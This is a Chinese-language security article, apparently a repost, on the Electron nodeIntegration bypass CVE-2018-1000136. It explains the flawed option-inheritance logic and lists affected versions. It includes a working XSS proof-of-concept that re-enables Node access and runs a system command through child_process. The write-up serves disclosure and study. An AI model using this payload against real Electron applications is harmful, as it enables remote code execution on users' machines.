CVE-2018-1000136:Electron nodeIntegration繞過漏洞

1周前,研究人員發現一個影響Electron所有版本的漏洞,利用該漏洞可以開啟nodeIntegration,這可能會造成遠程代碼執行。Electron是一個使用JavaScript,HTML和CSS等Web技術創建原生程序的框架,它負責比較難搞的部分,而用戶只需把精力放在應用的核心上即可。Slack、Discord、Signal、Atom、Visual Studio Code、Github桌面版等很多的應用都是用了Electron框架。

Electron是web應用,也就是說如果沒有正確對用戶輸入進行處理的話就可能會受到XSS腳本攻擊。默認的Electron應用不僅可以包含對自己API的訪問,還包含對所有Node.js植入模塊的訪問。這會讓XSS攻擊的危險變大,因為攻擊者的payload可以做很多的壞事,比如在客戶端執行系統命令等。Atom前不久就被曝類似的XSS漏洞。用戶可以將nodeIntegration: false傳入應用webPreferences中,來移除對Node.js的訪問。

還有一個webview的tag特征可以將內容嵌入到Electron應用中,并以獨立的進程運行。當使用webview tag時,你可以傳遞一些屬性值,其中就包括nodeIntegration。WebView容器默認是不開啟nodeIntegration的。文檔描述了如果webviewTag選項沒有在webPreferences中明確說明,就會繼承nodeIntegration的設定值的權限。

默認情況下,Electron會使用傳統的window.open()函數來創建一個BrowserWindow的新實例。子窗口默認會繼承父窗口的所有選項。傳統的window.open()函數允許用戶通過在featuresargument中傳遞一些值來修改繼承的選項的值:

if (!usesNativeWindowOpen) {// Make the browser window or guest view emit "new-window" event.window.open = function (url, frameName, features) {if (url != null && url !== '') {url = resolveURL(url)}const guestId = ipcRenderer.sendSync('ELECTRON_GUEST_WINDOW_MANAGER_WINDOW_OPEN', url, toString(frameName), toString(features))if (guestId != null) {return getOrCreateProxy(ipcRenderer, guestId)} else {return null}}if (openerId != null) {window.opener = getOrCreateProxy(ipcRenderer, openerId)}
}

當Electron的window.open函數被調用,就會觸發一個ELECTRON_GUEST_WINDOW_MANAGER_WINDOW_OPEN事件。該事件處理器會將這些特征進行語法分析,并把這些特征加入到新創建的窗口的選項中,然后觸發ELECTRON_GUEST_WINDOW_MANAGER_WINDOW_OPEN事件。為了防止子窗口做壞事,guest-window-manager.js含有一個webPreferences選項的硬編碼的列表和限定值:

// Security options that child windows will always inherit from parent windowsconst inheritedWebPreferences = new Map([['contextIsolation', true],['javascript', false],['nativeWindowOpen', true],['nodeIntegration', false],['sandbox', true],['webviewTag', false]]);

ELECTRON_GUEST_WINDOW_MANAGER_INTERNAL_WINDOW_OPEN事件處理器調用mergeBrowserWindowOptions函數來確保父窗口webPreferences的限制屬性應用到子窗口:

 const mergeBrowserWindowOptions = function (embedder, options) {[...]// Inherit certain option values from parent windowfor (const [name, value] of inheritedWebPreferences) {if (embedder.getWebPreferences()[name] === value) {options.webPreferences[name] = value}}// Sets correct openerId here to give correct options to 'new-window' event handleroptions.webPreferences.openerId = embedder.idreturn options}

這就是該漏洞的核心。mergeBrowserWindowOptions函數并不會考慮到這些限制屬性的默認值是否定義過。或者說,如果webviewTag: false沒有在應用的webPreferences中明確定義,當mergeBrowserWindowOptions函數檢查webview Tag時,就會返回undefined,讓上面的if判斷返回錯誤,就不會應用父窗口的webviewTag preference。這會讓window.open以額外特征的方式傳遞webview Tag選項,重新開啟nodeIntegration,并最終導致潛在的遠程代碼執行。

POC

下面的POC說明了XSS payload如何在運行時重新開啟nodeIntegration,并執行系統命令:

<script>var x = window.open('data://yoloswag','','webviewTag=yes,show=no');x.eval("var webview = new WebView;"+"webview.setAttribute('webpreferences', 'webSecurity=no, nodeIntegration=yes');"+"webview.src = `data:text/html;base64,PHNjcmlwdD5yZXF1aXJlKCdjaGlsZF9wcm9jZXNzJykuZXhlYygnbHMgLWxhJywgZnVuY3Rpb24gKGUscikgeyBhbGVydChyKTt9KTs8L3NjcmlwdD4=`;"+"document.body.appendChild(webview)");</script>

poc執行的條件為:

· Electron應用的nodeIntegration是關閉的;

· 含有沒有適當處理用戶輸入的XSS漏洞或其他依賴該應用的漏洞;

· Electron 版本< 1.7.13, < 1.8.4, 或 < 2.0.0-beta.3;

· 沒有在webPreferences中聲明webviewTag: false;

· 或沒有在webPreferences中開啟nativeWindowOption選項;

· 或沒有用選項tag來攔截新窗口時間或覆寫 event.newGuest。

如果以上條件滿足,那么POC就可以在有漏洞的Electron版本上遠程代碼執行。


原文發布時間為:2018-05-18

本文來自云棲社區合作伙伴“嘶吼網”,了解相關信息可以關注“嘶吼網”。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/390425.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/390425.shtml
英文地址,請注明出處:http://en.pswp.cn/news/390425.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

bash腳本 文件_如何使用Bash腳本來管理從AWS S3存儲桶下載和查看文件

bash腳本 文件As you can read in this article, I recently had some trouble with my email server and decided to outsource email administration to Amazons Simple Email Service (SES). 正如您在本文中所讀到的 &#xff0c;最近我的電子郵件服務器遇到了一些麻煩&…

rsync(六)命令中文手冊

rsync(1) rsync(1)名稱rsync - 一個快速、多功能的遠程(和本地)文件拷貝工具摘要Local: rsync [OPTION...] SRC... [DEST]Access via remote shell:Pull: rsync [OPTION...] [USE…

NFS共享存儲服務部署

服務端部署 1、檢查服務器上是否已安裝nfs及rpc&#xff0c;沒有則需要安裝檢查rpm -qa rpcbind nfs-utils安裝&#xff08;已安裝略過&#xff09;yum install -y rpcbind nfs-utils################################################################2、編寫nfs的配置文件cat…

區塊鏈運作機制_什么是區塊鏈及其運作方式?

區塊鏈運作機制If youre interested in technology, theres a good chance you’ve probably heard the terms Bitcoin, Crypto, Ethereum, or even "distributed, decentralized ledgers."如果您對技術感興趣&#xff0c;那么您很有可能已經聽說過比特幣&#xff0c…

敏捷管理之績效考核方案

前段時間&#xff0c;公司簽了年終獎確認。覺得公司發放年終獎完全是憑主觀發放&#xff0c;沒有事實依據&#xff0c;由此產生了對如何發放年終獎的一些想法。 獎金發放作為激勵員工最直接的手段&#xff0c;往往也是讓管理人員最難抉擇的&#xff0c;而且很多公司&#xff0c…

序言

為什么要寫這篇文章&#xff1f; 說起架構&#xff0c;剛入行的新人覺得是高大上的技術&#xff0c;有工作經驗的一些人又覺得是虛無縹緲的東西&#xff0c;不能落實。具體有用沒用&#xff0c;我不給答案&#xff0c;想通過寫這么一個例子來還原場景&#xff0c;讓讀者自己判斷…

kotlin編程語言_Kotlin初學者編程基礎

kotlin編程語言什么是Kotlin&#xff1f; (What is Kotlin?) Kotlin is a programming language developed by Jetbrains, the company behind some of the world’s most popular IDEs like IntelliJ and Pycharm.Kotlin是Jetbrains開發的一種編程語言&#xff0c;該公司是In…

記一個蒟蒻的絕望

感覺現在…… 怎么講&#xff0c;心挺冷的。 今天一月五號了。距離省選&#xff0c;時間好短啊。 我還有那么多東西不懂。甚至聽都沒聽說過。 等到真正去省選的時候&#xff0c;我可能跟現在一樣&#xff0c;什么都不會。 我的名字能不能被看到都不知道。哈&#xff0c;還進隊呢…

671. 二叉樹中第二小的節點

給定一個非空特殊的二叉樹&#xff0c;每個節點都是正數&#xff0c;并且每個節點的子節點數量只能為 2 或 0。如果一個節點有兩個子節點的話&#xff0c;那么該節點的值等于兩個子節點中較小的一個。 更正式地說&#xff0c;root.val min(root.left.val, root.right.val) 總…

CentOS查詢端口占用和清除端口占用的程序

1、查詢端口號占用&#xff0c;根據端口查看進程信息 [rootserver2 ~]# lsof -i:80COMMAND PID USER FD TYPE DEVICE SIZE NODE NAMEhttpd 5014 root 3u IPv4 14346 TCP server2:http (LISTEN)2、根據進程號查看進程對應的可執行程序 ps -f -p 進程號# p…

Android基礎夯實--你了解Handler有多少?

概述 對于剛入門的同學來說&#xff0c;往往都會對Handler比較迷茫&#xff0c;到底Handler是個什么樣的東西。當然&#xff0c;可能對于一些有工作經驗的工程師來說&#xff0c;他們也不一定能很準確地描述&#xff0c;我們來看下API的介紹。 Handler是用來結合線程的消息隊列…

spring與springBoot不同之處

( 1&#xff09;遵循“習慣優于配置”的原則&#xff0c;使用Spring Boot只需要很少的配置&#xff0c;大部分的時候我們直接使用默認的配置即可&#xff1b; &#xff08;2&#xff09;項目快速搭建&#xff0c;可以無需配置的自動整合第三方的框架&#xff1b; &#xff08;3…

sketch-a-net_Adobe XD,Sketch,Figma,InVision-如何在2020年選擇最佳設計軟件

sketch-a-netComparing Adobe XD vs Sketch vs Figma vs InVision studio is a very common topic among designers who are looking for the best design software. 在尋求最佳設計軟件的設計師中&#xff0c;比較Adobe XD&#xff0c;Sketch&#xff0c;Figma和InVision Stud…

merge intervals(合并間隔)

Given a collection of intervals, merge all overlapping intervals. For example,Given [1,3],[2,6],[8,10],[15,18],return [1,6],[8,10],[15,18]. 題目沒有說所有間隔的start是依次增加的。所以&#xff0c;為了方便討論&#xff0c;我們要將所有間隔按照start升序排列。因…

劍指 Offer 49. 丑數

我們把只包含質因子 2、3 和 5 的數稱作丑數&#xff08;Ugly Number&#xff09;。求按從小到大的順序的第 n 個丑數。 示例: 輸入: n 10 輸出: 12 解釋: 1, 2, 3, 4, 5, 6, 8, 9, 10, 12 是前 10 個丑數。 說明: 1 是丑數。n 不超過1690。 解題思路 使用小根堆&#xf…

維護舊項目_為什么您的舊版軟件難以維護-以及如何處理。

維護舊項目Believe it or not, some organizations still rely on legacy software to carry out operations even though newer and more versatile options are available. We know that “old is gold”, but legacy applications cannot glitter forever. As such, these o…

python--內置函數

內置函數現在python一共為我們提供了68個內置函數&#xff0c;講述過程&#xff1a;一、其他中的12個 &#xff08;一&#xff09;執行 字符串 類型代碼的執行 1 eval執行有意義的字符串 ,有返回值 print(eval(12))print(eval("print(美麗)")) #美麗 2 ex…

Nancy簡單實戰之NancyMusicStore(四):實現購物車

原文:Nancy簡單實戰之NancyMusicStore(四)&#xff1a;實現購物車前言 上一篇&#xff0c;我們完成了商品的詳情和商品的管理&#xff0c;這一篇我們來完成最后的一個購物車功能。 購物車&#xff0c;不外乎這幾個功能&#xff1a;添加商品到購物車&#xff0c;刪除購物車中的商…

劍指 Offer 32 - I. 從上到下打印二叉樹

從上到下打印出二叉樹的每個節點&#xff0c;同一層的節點按照從左到右的順序打印。 例如: 給定二叉樹: [3,9,20,null,null,15,7], 3/ \9 20/ \15 7返回&#xff1a; [3,9,20,15,7] 提示&#xff1a; 節點總數 < 1000 解題思路 使用隊列實現層序遍歷 代碼 /*** …

數據庫表命名 單數復數_數據是還是數據是? “數據”一詞是單數還是復數?

數據庫表命名 單數復數Ill cut right to the chase: the word "data" is plural. Its the plural form of Latin word "datum." Many data. One datum.我將緊追其后&#xff1a;“數據”一詞是復數形式。 它是拉丁文“基準”的復數形式。 許多數據。 一個基…